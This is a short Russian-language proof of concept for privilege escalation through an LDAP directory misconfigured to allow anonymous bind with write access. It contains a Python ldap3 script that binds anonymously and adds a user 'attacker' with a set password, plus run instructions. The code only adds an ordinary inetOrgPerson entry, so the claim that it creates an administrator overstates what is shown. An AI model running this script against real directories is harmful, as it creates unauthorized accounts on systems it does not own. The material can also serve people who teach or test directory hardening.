
Python proof-of-concept для повышения привилегий через анонимный LDAP bind, имитирующий небезопасные ACL для создания административных пользователей посредством неаутентифицированных LDAP bind.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
Каталог LDAP неправильно настроен: разрешены анонимные подключения, а также предоставлен доступ на запись к чувствительным атрибутам (например, userPassword). Злоумышленник может подключиться анонимно и создать нового пользователя с правами администратора, повысив таким образом свои привилегии.
Запустите симуляцию (для реального теста требуется фактический LDAP-сервер, но мы показываем концепцию):
python ldap_anon_sim.py
Скрипт пытается добавить пользователя анонимно.